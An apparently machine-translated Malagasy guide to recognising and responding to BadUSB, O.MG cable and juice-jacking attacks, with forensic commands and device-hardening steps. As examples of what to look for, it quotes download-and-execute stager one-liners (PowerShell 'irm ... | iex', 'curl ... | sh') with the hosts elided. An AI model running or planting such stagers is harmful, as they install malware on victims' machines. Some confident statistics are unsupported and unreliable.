Cable USB ratsy (HID Injection / BadUSB) sy Fiarovana Kiosk Public¶

Ampifandraiso amin'ny tariby USB-C na Lightning tsy mahazatra anao ny solosainao, ny findainao na ny takelakao tavela ao amin'ny biraon'ny hotely, vavahadin'ny seranam-piaramanidina, seza aoriana, na kitapo swag fihaonambe, na mahita fifanakalozan-kevitra Windows Run (Win + R), fikandrana PowerShell, na macOS Terminal mitselatra eo amin'ny efijery mandritra ny 500 milisegondra ary manomboka manoratra amin'ny teny 1000 isa-minitra avy hatrany aorian'ny fampifandraisana tariby USB, kapila tselatra, na fanindriana famelabelarana, dia sonia BadUSB / HID (Fitaovana Interface amin'ny olombelona) Keystroke Injection Attack na **Public Charging Kiosk (**Juice Jack). Tsy sahala amin'ny malware nentim-paharazana voatahiry ho rakitra amin'ny ankihibe izay azon'ny scanner antivirus hojerena alohan'ny hanokafana, ny implants hardware misy fitaovam-piadiana toy ny O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, ary USBHarpoon dia mampiditra microcontroller kely sy radio Wi-Fi mivantana ao anaty akorandriaka, na plastika mahazatra an'ny Apple. tady fiampangana (zara ho 12 milimetatra na 0,47 santimetatra ny halavany).

Rehefa ampidirina amin'ny solosainao na smartphone tsy voahidy, io microcontroller miafina io dia tsy manambara ny tenany amin'ny rafitra fiasanao ho toy ny fiara fitahirizana na charger. Fa kosa, mitanisa ny USB D+ ary D- Pins data ho toy ny mahazatra USB HID Keyboard (Class 0x03) na USB Ethernet Network Adapter (RNDIS / ECM). Satria ny Windows, macOS, Linux, iOS, ary Android dia matoky tanteraka ny fitendry vao nopetahana nefa tsy mila mpamily na scan antivirus, ny tariby dia mandefa avy hatrany ny filaharana fanendry fanalahidy efa nomanina mialoha (Win + R -> powershell -w hidden -ep bypass ... amin'ny Windows, na Cmd + Space -> Terminal amin'ny macOS) na manetsika enta-mavesatry ny Wi-Fi voafehy lavitra rehefa manindry ny "Execute" amin'ny findainy ny mpanafika ao anatin'ny 90 metatra (300 feet). Ho an'ny hotspot tsy misy tariby midadasika kokoa sy ny fandrahonana amin'ny tambajotra fitsangatsanganana miaraka amin'ny seranan-tsambo famandrihana, jereo koa ny anay Wi-Fi ho an'ny daholobe, Evil Twin, ary mpitari-dalana fiarovana amin'ny juice jacking. Raha sendra fandrahonana ara-batana na fakana an-keriny ianao dia antsoy ny laharana vonjy maika eo an-toerana (911 any Etazonia sy Kanada, 112 manerana ny Vondrona Eoropeana, 999 any Royaume-Uni) na jereo ny anay laharana vonjy maika lahatahiry. Araho ny fitokana-monina avy hatrany amin'ny fitaovana sy ny hetsika fanarenana forensika etsy ambany.

Ataovy izao izao¶

1. ** YANK ny tariby USB ahiana, kapila tselatra, dock, na tady fiampangana avy ao amin'ny seranan-tsambon'ny fitaovanao avy hatrany**: Isaky ny segondra dia misy Cable BadUSB na O.MG mijanona ao amin'ny solosaina na telefaona tsy mihidy ahafahan'ny microcontroller anatiny (na mpanafika akaiky mifandray amin'ny hotspot Wi-Fi miafina anatiny) hanindrona ny fanalahidin'ny fanalahidin'ny fanalahidin'ny fanalahidin'ny USB miafina na firaketana an-tsoratra. tenimiafina soratanao amin'ny klavier ivelany.
2. Atsaharo amin'ny Wi-Fi, Ethernet, ary Bluetooth ny solosaina na finday voakasik'izany amin'izao fotoana izao, ary AZA manoratra tenimiafina amin'io milina io: Ny karama BadUSB / Rubber Ducky 2-segondra mahazatra dia tsy manoratra programa goavana amin'ny interface tsara fitendry miadana; fa kosa, manoratra baiko "stager" 1 andalana ao amin'ny PowerShell (iex (irm http://...)) na macOS Terminal (curl -s http://... | sh) izay misintona infostealer feno na trojan fidirana lavitra amin'ny fifandraisana Wi-Fi-nao. Ny fanapahana Wi-Fi sy Ethernet dia mamono avy hatrany ny fampidinana na manakana ny exfiltration.
3. ** Raha nipitika ny "Trust This Computer" amin'ny iPhone/iPad-nao ianao na nifantina "File Transfer (MTP) / Allow USB Debugging (ADB)" amin'ny findainao Android amin'ny kiosk famandrihana ho an'ny daholobe, esory avy hatrany ny fitokisana**:
4. Ao amin'ny iPhone / iPad: Esory ny tady, mandehana any amin'ny Settings> Developer (raha hita eo amin'ny faran'ny Settings) -> tap Clear Computer Trusted. Raha tsy hita ny Developer dia mandehana any amin'ny Settings> General> Transfer or Reset iPhone> Reset> Reset Location & Privacy, izay mamafa ny mpivady rehetra lockdownd fampiantranoana firaketana fampiarahana ka tsy misy solosaina na kiosk afaka miditra indray amin'ny iPhone backup raha tsy misy ny passcode-nao.
5. Amin'ny Android: Esory ny tady, mandehana any amin'ny Settings> System> Developer options (raha azo atao) -> tap Esory USB debugging authorizations, ary atodiho ny Developer options*** tanteraka**.
6. Jereo hoe inona ny karama fanendry BadUSB vao nosoratanao tao amin'ny solosainao amin'ny alàlan'ny fanamarinana ny boaty Run (RunMRU), Log baiko PowerShell (PSReadLine), ary macOS Terminal history: Alohan'ny hamerenana indray dia sokafy ny varavarankely terminal madio amin'ny solosainao ivelan'ny Internet ary vakio ny baiko marina izay nampidiran'ny klavier USB sandoka tao amin'ny rafitrao. baiko fanaraha-maso forensika amin'ny dingana 2.
7. ** Tehirizo ao anaty vata vy na kitapo Faraday ny tariby USB mampiahiahy na ny kapila ankihibe (AZA averina amin'ny solosaina iray mba "hijerena izay ao anatiny")**: Satria ny Cable O.MG dia misy transceiver Wi-Fi mavitrika ESP8266/ESP32 izay miasa isaky ny mahazo 5 volts (na dia ampidirina amin'ny rindrin'ny bateria aza) point ary mamela mpanafika iray ivelan'ny efitranon'ny hotely na ny biraonao hifandray aminy na hanery ny tenany (Self-Destruct / Wipe) endri-javatra. Avela ho tapaka tanteraka.
8. Raha toa ka nanao script tao amin'ny solosainao ny karama BadUSB raha vao niditra ianao, dia atodiho ny fahazoan-dàlana rehetra ary esory ny fivoriana mavitrika amin'ny fitaovana madio sy misaraka: Satria ny 90 isan-jaton'ny entana BadUSB maoderina dia manomboka infostealer izay maka cookies amin'ny navigateur ary mitahiry ny tenimiafina ao anatin'ny 3 segondra, tanteraho ny anay. session cookie hijacking sy infostealer token fanafoanana torolàlana avy amin'ny smartphone madio.

Hazo fanapaha-kevitra: mamaly amin'ny tariby USB ahiana ho ratsy na fiparitahan'ny kiosk ho an'ny daholobe¶

Ampiasao ity tabilao fikorianan'ny tetika ity mba hamaritana raha nisy nanimba ny fitaovanao taorian'ny nidirany tamin'ny tariby USB tsy azo itokisana, dock, thumb drive, na toby fiantsonan'ny daholobe:

flowchart TD
    Event["Ampidirina amin'ny tariby USB tsy fantatra, Flash Drive Hita, Kiosk Hotel/Airport, na Saw Terminal/Run Window Flash eo amin'ny efijery"] --> Unplug["DINGANA 1: Esory avy hatrany ny tariby USB / fitaovana ary esory ny Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Iza amin'ireo fitaovana no napetaka tamin'ny tady USB na seranan-tsambo tsy fantatra?"}

    WhatDevice -->|"Windows, macOS, na Linux Laptop / Desktop"| ScreenLocked{"Nihidy na nivoha ve ny ecran ordinateur rehefa nampidirina?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"Tsy voahidy ve ny iPhone, ary nanindry ny 'matoky' ve ianao sa nahita fanoratana?"}
    WhatDevice -->|"Android Smartphone / Tablet"| AndroidState{"Tsy voahidy ve ny telefaonina, sa nalefa ve ny 'USB Debugging (ADB)'?"}

    ScreenLocked -->|"Tsy voahidy (niditra amin'ny Desktop)"| AssumeHID["LOHA HEVITRA: Ny Cable BadUSB / O.MG dia afaka manatanteraka fanendry (Win+R / Cmd+Space) ao anatin'ny <1.5 segondra tsy misy fampandrenesana -> Mandehana any amin'ny Fizarana 2 Fanadihadiana Forensic"]
    ScreenLocked -->|"Voahidy (Ecran tenimiafina)"| NetworkDMA["Jereo raha misy Thunderbolt/PCIe DMA na USB Ethernet (RNDIS/DHCP Poisoning) ; Tsy afaka mandingana ny efijery hidin-trano raha tsy misy ny tenimiafinao"]

    iOSState -->|"Nihidy ny fotoana rehetra (iOS 15+ / USB Restricted Mode)"| iOSSafe["SAFE: Apple 'USB Restricted Mode' dia manafoana ara-batana ny data Pins amin'ny iPhones mihidy -> Hery ihany no lasa"]
    iOSState -->|"Voahidy sy nokapohina ny 'Trust' (na nahita Safari/Shortcuts misokatra)"| iOSRevoke["Alefaso avy hatrany: Settings> General> Transfer or Reset iPhone> Reset> Reset Location & Privacy + Audit Shortcuts App"]

    AndroidState -->|"Voahidy mandritra ny fotoana rehetra (Mode Charge-only)"| AndroidSafe["SAFE: Default Android maoderina amin'ny 'Tsy misy famindrana angon-drakitra (sandratra fotsiny)' -> tsy nisy data nandalo"]
    AndroidState -->|"Voahidy & Saw Screen fanoratana na ADB/MTP nankatoavina"| AndroidRevoke["Atsaharo ny safidin'ny mpamorona -> Esory ny USB Debugging -> Jereo ny Apps napetraka & Chrome Downloads"]

Fahatakarana ny fomba fiasan'ny BadUSB, O.MG Cable, ary ny fanafihan'ny fiampangana ho an'ny daholobe¶

Mba hiarovana ny tenanao amin'ny fomba mahomby, ary hisorohana ny tsy fandraisana andraikitra amin'ny fitaovana tena izy sy ny fikoropahana amin'ny seranana fiampangana tsy mampidi-doza, dia mila mahatakatra ireo mekanika ara-teknika telo miavaka ampiasain'ny mpanafika amin'ny USB ianao:

1. BadUSB / HID Keystroke tsindrona (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• Ny lesoka fototra amin'ny famolavolana USB: The Universal Serial Bus (USB) Ny famaritana dia ahafahan'ny mpampitohy ara-batana tokana manambara ny tenany ho kilasy fitaovana rehetra mandritra ny fanisana (bInterfaceClass), na koa amin'ny maha-Composite Device (manambara ny tenany ho USB Flash Drive sy USB Keyboard).
• Ao anatin'ny Cable O.MG na Charger Maloto: Raha jerena, ny Cable O.MG dia 100 isan-jato tsy azo avahana amin'ny tariby Apple USB-C-to-USB-C, USB-C-to-Lightning, na USB-A tena izy. Mampandoa ny findainao izy io ary mamindra angona ara-dalàna. Na izany aza, miafina ao anatin'ny tendron'ny mpampitohy mavitrika dia microcontroller roa-fototra bitika miaraka amin'ny Wi-Fi 802.11 sy fitahirizana tselatra:
• Active Keystroke Injections: Rehefa ampidirinao amin'ny Windows PC, Mac, na smartphone tsy voahidy ny tariby, dia voatanisa ho toy ny HID Keyboard mahazatra ny tariby ary manoratra hatramin'ny 850 isa isan-tsegondra (DuckyScript). Ao anatin'ny 1.5 segondra dia manindry izy Win + R (Windows) na Cmd + Space (Mac), mamoaka akorandriaka miafina miafina, misintona entana, ary manidy ny varavarankely.
• Inline Hardware Keylogger (Ho an'ny Kitendry USB ivelany): Raha misy mpanafika manova ny tariby USB mampifandray ny klavier mekanika ivelany amin'ny PC desktop-nao amin'ny Cable O.MG, dia mipetraka mangina eo afovoan'ny tariby ny implant ary mirakitra ** hatramin'ny 650.000 keystrokes** (anisan'izany ny Bitwarden/1Password anao amin'ny alàlan'ny fidirana an-tsarimihetsika BIOS, ny tenimiafina anatiny, ny tenimiafina fidirana amin'ny Windows) ivelan'ny trano amin'ny Wi-Fi.
• Karama Geofenced & Fampitandremana: Tsy toy ny USB Rubber Ducky $50 tsotra izay manoratra ny entany raha vao ampidirina, ny Cable O.MG dia afaka mijanona ho matory tanteraka toy ny tady fiampangana mahazatra mandritra ny ** andro na herinandro** mandra-pahitany ny tambajotra Wi-Fi orinasanao (BSSID geofencing) na mandra-pahatonga ny mpanafika azy avy lavitra amin'ny alàlan'ny UI an-tranonkalany.

2. USB Network Adapter hijacking (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Na dia ** mihidy aza ny ecran laptop-nao (Win + L na Ctrl + Cmd + Q)** ka tsy afaka manokatra varavarankelin'ny terminal ny fitendry USB sandoka, ny fampidirana fitaovana USB ratsy amin'ny seranana data USB tsy voahidy dia ahafahan'ilay fitaovana isaina ho ** Adapter Ethernet Gigabit USB (USB RNDIS na CDC-ECM)**.
• Satria ny Windows sy macOS dia manao laharam-pahamehana ho azy ny fifandraisana Ethernet vaovao mifandray amin'ny Wi-Fi, ny fitaovana USB dia lasa vavahadin'ny solosainao amin'ny alàlan'ny DHCP (0.0.0.0/1), manakana ny fifamoivoizana amin'ny tambajotra eo an-toerana tsy misy miafina, mamaly WPAD / LLMNR / mDNS fanontaniana, na siphons tsy HttpOnly navigateur cookies.

3. Kiosk Public "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Rehefa mampifandray finday iray amin'ny seranan-tsambo USB ho an'ny daholobe ianao (amin'ny seranam-piaramanidina, gara, headboard amin'ny hotely, na fitaovana fampitam-baovaon'ny fiara manofa) amin'ny alàlan'ny tariby mahazatra misy angona:
• Inona no voasakana ho azy: Hatramin'ny iOS 11.4.1 / iOS 15+ (USB Restricted Mode) ary Android 9+ (Charge-Only Default), ny fampidirana telefaona amin'ny seranana angona USB dia tsy mampibaribary ho azy ny sarinao na ny rakitrao. Voasakana ny famindrana angon-drakitra mandra-panokatra ny findainao ARY tsindrio mazava tsara "Trust This Computer" (miampy ampidiro ny iPhone Passcode) na afindrao amin'ny tanana ny fampandrenesana USB Android avy amin'ny Tsy misy famindrana data mankany amin'ny File Transfer (MTP) na Avelao ny USB Debugging.
• Ao amin'ny toerana misy ny tena loza eny amin'ny kioska ho an'ny daholobe:
  1. ChoiceJacking & HID tsindrona amin'ny finday tsy voahidy: Araka ny nasehon'ny Graz University of Technology mpikaroka momba ny fiarovana (ChoiceJacking), raha toa ka voahidy eny an-tananao ny findainao rehefa ampidirinao amin'ny seranan-tsambo USB ho an'ny daholobe, dia afaka mitanisa ho Ktendry USB aloha ilay kiosk (HID) mandritra ny 200 milisegondra ary alefaso ny tena marina Tab / Enter na tsindrin-tsindry fanampiny ilaina mba tsindrio ny bitsika "Allow / File Transfer" ho anao eo amin'ny efijery alohan'ny hidirana amin'ny fomba famindrana angona mpampiantrano.
  2. ** Hery maloto / Fahasimban'ny Hardware (USB Killer)**: Ny seranan-tsambo USB ho an'ny besinimaro voasabotsy dia afaka manary 200V DC avy amin'ny banky capacitor mivantana ao amin'ny chip controller USB-C an'ny findainao, mandrotsaka tanteraka ny board lojika.

Matrix fampitahana: Fitaovana fiarovana USB & Fiarovana OS¶

Dingana 1: Ahoana ny fomba hamantarana an-tsary sy elektrônika ny tariby USB ratsy (O.MG Cable Audit)¶

Raha mahita tariby USB mampiahiahy ao amin'ny biraonao ianao, mifandray amin'ny lamosin'ny fitendry PC biraonao, na ao anatin'ny kitapom-pandehananao, araho ireto dingana efatra ireto mba hamaritana raha implant fitaovana io:

1. Fitsapana #1: Fandrefesana ny fitohizana na ampiasao tariby tariby fitaovana (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
2. Ny tariby USB-A-to-USB-C passive mahazatra, USB-A-to-Lightning, na tsy misy marika USB-C tsy misy E-Marked dia tsy misy microprocessor mavitrika misintona kory rehefa ny tendrony iray ihany no mipetaka amin'ny herinaratra.
3. Ny O.MG Malicious Cable Detector (na inline USB current/protocol analyzer toy ny a Power-Z KM003C) mipetraka eo anelanelan'ny loharanon-jiro sy ny tariby misy tsy misy mifandray amin'ny faran'ny tariby:
   • Raha misy tariby misintona 30 hatramin'ny 120 milliamps (mA) amin'ny 5V rehefa tsy misy na inona na inona mifandray amin'ny farany, na manandrana mifampiraharaha amin'ny USB D+/D- fanisana ho azy, misy solosaina / Wi-Fi mavitrika miafina ao anaty lohan'ny tariby.
4. Fitsapana #2: Jereo ireo teboka fidirana Wi-Fi miafina (O.MG SSID Default na ESP32 MAC Prefixes):
5. O.MG Cable sy Wireless BadUSB implants dia mampiasa Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Wi-Fi puce ao anatin'ny akora mpampitohy.
6. Amin'ny fampiasana banky batterie USB mitokana ao anatin'ny faritra faraday/mitokana (tsy amin'ny solosainao mihitsy), ny fampandehanana tariby O.MG tsy voarindra na default dia mandefa tambajotra Wi-Fi 2.4 GHz (SSID default). O.MG amin'ny 192.168.4.1, na SSID miafina misy MAC Address / BSSID OUI an'ny Espressif Inc. toy ny 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, raha tsy voasoloky).
7. Fitsapana #3: Jereo ny halavan'ny overmold sy ny famokarana hafanana:
8. Ampitahao amin'ny tariby Apple na Anker tena izy ny akora plastika misy tariby ahiahiana:
   • Na dia mifanandrify amin'ny haben'ny akorandriaka marina an'i Apple aza ireo taranaka O.MG Cable vao haingana, aorian'ny 3 minitra nahazo hery 5V, ny loha mpampitohy misy ny microcontroller Wi-Fi mavitrika dia hahatsapa tena mafana (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) eo anelanelan'ny rantsan-tananao na dia tsy misy telefaonina mi-charge amin'ny ilany ilany aza. (Ny cable passive mahazatra tsy misy na inona na inona mipetaka amin'ny farany dia mijanona ho mangatsiaka tanteraka amin'ny mari-pana amin'ny efitrano.)

Dingana 2: Triage forensic Raha misy tariby BadUSB na O.MG voasokajy amin'ny solosainao¶

Raha nampiditra tariby USB, thumb drive, na periferika amin'ny solosainao Windows PC, Mac, na Linux ianao ary nahita ny menu Start, Run dialog (Win + R), Spotlight (Cmd + Space), na tselatra misokatra sy mihidy ny varavarankely terminal mainty/manga, aza averina indray. Ampandehano ireto baiko ivelan'ny aterineto marina ireto mba hahitana hoe inona no nosoratan'ny fitendry USB sandoka ary inona no ID Vendor/Product USB (VID:PID) mifandray amin'ny seranan-tsambonao:

1. Windows 10 & Windows 11 Forensic Audit (Mihazakazaka amin'ny PowerShell Offline)¶

Sokafy ny PowerShell (Admin) amin'ny PC Windows ivelan'ny Internet ary araho ireto baiko forensika efatra ireto:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Ahoana ny fandikana Get-ItemProperty ... RunMRU:
• Saika ny script Windows BadUSB / Rubber Ducky dia manomboka amin'ny fanindriana Win + R(GUI r ao amin'ny DuckyScript) ary manoratra baiko toy ny powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex na cmd /c curl ....
• Na dia manandrana mamafa ny script aza RunMRU amin'ny farany, raha nesorinao ny tariby teo antenatenan'ny famonoana (na raha tsy nanadio ny rejisitra ny script), dia hipetraka ao anatiny ny URL sy baiko tena ratsy. RunMRU (a, b, c soatoavina) na ao anatiny ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (Run in Offline Terminal)¶

Amin'ny macOS, ny badUSB payloads matetika manindry Cmd + Space(GUI SPACE), karazana Terminal, gazety Enter, ary mihazakazaka a curl na osascript tsipika tokana:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Linux Forensic Audit (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Raha misy amin'ireo diary etsy ambony ireo dia mampiseho fa a powershell, cmd, mshta, curl, wget, na osascript baiko notanterahina raha mifandray amin'ny Internet, eritrereto hoe nisy infostealer na backdoor maharitra: esory ny fivoriana rehetra mampiasa ny session cookie hijacking sy torolalana infostealer ary manaova reinstall OS madio manaraka ny anay malware, ransomware, ary torolalana momba ny fifindran'ny spyware.

Dingana 3: Manidy ny fitaovanao mba tsy ho afaka mandeha ho azy ny tariby BadUSB¶

Ny rafitra fiasana maoderina izao dia misy hidin-tseranana misy fitaovana mahery vaika izay manafoana tanteraka ny BadUSB, O.MG Cables, ary Rubber Duckies alohan'ny ahafahan'izy ireo manoratra litera tokana, raha toa ka avadikao ireo fanovana ireo:

1. Apple macOS (Apple Silicon M1 / ​​M2 / M3 / M4 MacBooks): Alefaso ny "Ask for New Accessories"¶

Ao amin'ny Apple Silicon Macs izay mampiasa macOS Ventura, Sonoma, na Sequoia, Apple dia nampiditra fahazoan-dàlana USB-C/Thunderbolt amin'ny ambaratonga hardware izay manakana izay tariby USB na fitaovana vaovao tsy hanisa ho toy ny fitendry mandra-panindrianao mazava "Avelao": 1. Sokafy Menu Apple () > Rafitra > Fiainana sy fiarovana. 2. Mandehana midina mankany amin'ny fizarana Security ary tadiavo "Avelao hifandray ny kojakoja". 3. Ovay avy amin'ny Ho azy rehefa voahidy ho "Angataho ny Accessories Vaovao" (na "Anontanio Isaky ny fotoana" mba hahazoana fiarovana ambony indrindra amin'ny dia. 4. Nahoana no mampitsahatra ny O.MG Cables mangatsiaka amin'ny Mac: Rehefa mampiditra tariby fiampangana O.MG mamitaka ianao miaraka amin'ny "Ask Every Time" na "Ask for New Accessories", dia mandeha avy hatrany ny herinaratra hamenoana ny batterie MacBook-nao, fa ny macOS kosa dia mipoitra ny famakiana fifanakalozan-kevitra fampitandremana: "Allow accessory '[Device Name]' to connect to this Mac?" Satria ny cable charging passive mahazatra dia tsy mangataka ny hifandray ho toy ny fanampin'ny angon-drakitra, mahita izany pop-up izany rehefa mipetaka amin'ny tady charging tsotra ** dia mampiseho avy hatrany ny tariby ho toy ny implant hardware ** ary manakana ny 100 isan-jaton'ny fanendry azy mandra-panalanao azy.

2. Apple iPhone & iPad: Verify "USB Restricted Mode" dia Enabled¶

1. Sokafy Settings> Face ID & Passcode (na Touch ID & Passcode) ary ampidiro ny passcode-nao.
2. Mandehana midina mankany amin'ny "Avelao ny fidirana rehefa mihidy".
3. Ataovy azo antoka fa ny toggle eo akaikin'ny Accessories (na USB Accessories) dia mivadika OFF (miloko).
4. Miaraka amin'ny Accessories navadika OFF, isaky ny mihidy ny iPhone-nao, dia esorin'ny iOS ara-batana ny tsimatra data USB, ka ny herin'ny fiampangana ihany no mandeha. Tsindrio foana ny bokotra sisiny hanidy ny efijery iPhone-nao alohan'ny hampidirana azy amin'ny charger tsy mahazatra na fiara manofa.

3. Android 15 / 16 & GrapheneOS: Alefaso ny "Advanced Protection" / USB Port Lock¶

• Amin'ny Android mahazatra (Pixel, Samsung Galaxy):
• Aza miala mihitsy Safidy Developer > USB Debugging (ADB) alefa rehefa mandeha.
• Ao amin'ny Settings > Security & privacy > More security settings (na Advanced Protection amin'ny Android 15/16+), avelao ny USB protection / Block new USB device while locked.
• Hidio foana ny efijerinao alohan'ny hifandraisanao amin'ny seranan-tsambo fiampangana ho an'ny daholobe mba tsy hifanerasera amin'ny efijery tsy voahidy ny fanafihana ChoiceJacking HID.

4. Linux & Windows Enterprise: USBGuard ary Famerana ny fametrahana fitaovana¶

• ** Amin'ny Linux (USBGuard)**: Apetraho ny usbguard daemon (sudo apt install usbguard), izay manakana izay fitaovana USB vao mifandray izay manamafy bInterfaceClass 03 (HID Keyboard) raha toa ka efa miraikitra ny kitendry voalohany na mandra-pahazoan-dalana mazava amin'ny alalan'ny usbguard allow-device.
• ** Ao amin'ny Windows 11 Pro / Enterprise**: Alefaso ** Kernel DMA Protection (BitLocker + VBS)** ao amin'ny Windows Security > Device Security > Isolation Core mba hampitsaharana ny fanafihana Thunderbolt/PCIe DMA, ary hanidy foana ny toeram-piasanao (Win + L) alohan'ny hidirana amin'ny tariby USB tsy mahazatra ka tsy afaka miditra amin'ny akorandriaka desktop efa tafiditra ao ny tsindrona keystroke.

Fanontaniana apetraka matetika¶

Afaka mijirika ny iPhone na ny findaiko Android ve ny tariby O.MG Cable na BadUSB ratsy raha ampidiriko fotsiny izany rehefa mihidy ny efijery finday?¶

Raha manana ny iPhone-nao Settings > Face ID & Passcode > Avelao hidirana rehefa mihidy > Accessories Lasa NIALA (ny default amin'ny iOS 15 ka hatramin'ny iOS 18) ary mihidy ny efijery rehefa ampidirinao ny tariby, tsy misy angon-drakitra na fanendry bokotra afaka mahatratra ny iPhone-nao satria ny iOS dia manafoana ny tsipika data USB amin'ny haavon'ny fanaraha-maso ny fitaovana mandra-panokatra ny telefaona amin'ny Face ID na ny kaody pasipaoronao. Na izany aza, amin'ny fotoana hanokafanao ny iPhone anao raha mbola ampidirina io Cable O.MG io, ny tariby dia afaka mitanisa ho fitendry USB ivelany ary mandefa haingana ny hitsin-dàlana fitendry iOS (toy ny Cmd + Space hanokatra Spotlight, sokafy ny Safari amin'ny URL momba ny phishing/configuration, na manetsika ny Apple Shortcuts). Aza mitahiry tariby USB hita na tsy atokisana mihitsy rehefa mamoha ny findainao.

Ahoana no ahafantarako ny fahasamihafana misy eo amin'ny tariby USB tena "Charge-Only" sy ny tariby data USB mahazatra?¶

Satria mahalana ny mpanamboatra manonta marika amin'ny tariby manavaka ny tady fiampangana fotsiny amin'ny tadin'ny data, ny fitsapana azo antoka indrindra dia ny mampifandray ny tariby eo anelanelan'ny solosaina sy ny fitaovana efa antitra tsy mitsikera (na mampiasa tariby USB inline $10 pinout continuity tester Board toy ny Treedix USB Cable Tester, izay mandrehitra ny LED tsirairay ho an'ny tariby anatiny rehetra nefa tsy misy microcontroller). Ao amin'ny tabilao tester continuity, marina Cable Charge-Iny hazava ihany VBUS ary GND (2 LEDs), fa ny tariby misy angon-drakitra dia hazava ihany koa D+ ary D- (ary CC1/TX/RX amin'ny USB-C). Raha tsy izany, tehirizo manokana adaptatera USB Data Blocker ara-batana miraikitra tanteraka amin'ny tendron'ny tadin'ny fiampangana fitsangatsanganana izay ahafahanao mijery ara-batana ao anatin'ny seranan-tsambo vavy ary manamarina amin'ny masonao fa tsy hita ny tsimatra antonony.

Azo antoka ve ny mampifandray ny telefaoniko manokana amin'ny fivoahana herinaratra AC (fantsona rindrina 2-prong / 3-prong) any amin'ny seranam-piaramanidina na hotely fa tsy ny seranan-tsambo USB?¶

Eny, azo antoka 100 isan-jato. Fantsona rindrina elektrika 110V / 230V AC manara-penitra (izay ampidiranao ny biriky Apple, Samsung, na Anker anao) dia tsy mitondra afa-tsy herin'aratra mifandimby ary tsy misy fifandraisana angon-drakitra afaka mifandray amin'ny mpanara-maso USB an'ny findainao. Raha mbola mampiasa ianao ny biriky azo itokisana amin'ny rindrina AC sy ny tariby USB azo itokisana, tsy afaka manao fanafihana Juice Jacking na BadUSB ny seranam-piaramanidina na trano fandraisam-bahiny.

Nahoana ny Windows no nipoitra "Manangana fitaovana: HID Keyboard Device" rehefa nampiditra tselatra USB na charger vape/e-sigara aho?¶

Ny fahitana Windows dia mampiseho famakiana fampahafantarana toast "Manangana fitaovana: HID Keyboard Device" rehefa nampiditra zavatra iray ianao tsy klavier (toy ny USB flash drive, tariby fiampangana, mpankafy birao mora, sarin-tsary nomerika, na charger vape) no basy fifohana sigara # 1 tsy diso BadUSB / HID Keystroke Injection fanafihana. Tsy misy kapila tselatra ara-dalàna na tariby fiampangana mila misoratra anarana amin'ny Windows ho fitendry. Esory avy hatrany ny fitaovana, esory amin'ny Wi-Fi, ary tanteraho ny PowerShell RunMRU ary PSReadLine baiko fanaraha-maso ao amin'ny dingana 2 hahitana hoe inona no baiko nosoratan'ny klavier sandoka.

Loharano nojerena¶

• Birao federaly misahana ny fanadihadiana (FBI) & Vaomiera Fifandraisana Federaly (FCC) (Etazonia): *Fampandrenesana momba ny serivisy ho an'ny daholobe momba ny loza ateraky ny tobim-piantsonan'ny USB ("Juice Jacking") sy ny fitaovana mampidi-doza *.
• Agence National Security Agency (NSA) & Sampan-draharaha misahana ny fiarovana an-tserasera sy ny fotodrafitrasa (CISA) (Etazonia): Fomba fanao tsara indrindra amin'ny fitaovana finday: mandeha soa aman-tsara miaraka amin'ny finday, solosaina finday ary periferika USB.
• Graz University of Technology (TU Graz Vondrona Fikarohana InfoSec): ChoiceJacking: Mampandefitra ny fitaovana finday amin'ny alàlan'ny Charger ratsy amin'ny alàlan'ny USB HID Injection (USENIX Security Symposium).
• Torolàlana momba ny fiarovana amin'ny sehatra Apple: Modely voafetra USB, fidirana amin'ny Accessories rehefa mihidy, ary Architecture Fanomezana alalana amin'ny Apple Silicon USB/Thunderbolt Accessory.
• USB Implementers Forum (USB-IF): * Fanamarinana USB Type-C, fandefasana herinaratra (USB PD), ary fitaovana entin'ny olombelona (HID Kilasy 0x03) Famaritana*.

Mpitarika mifandraika¶

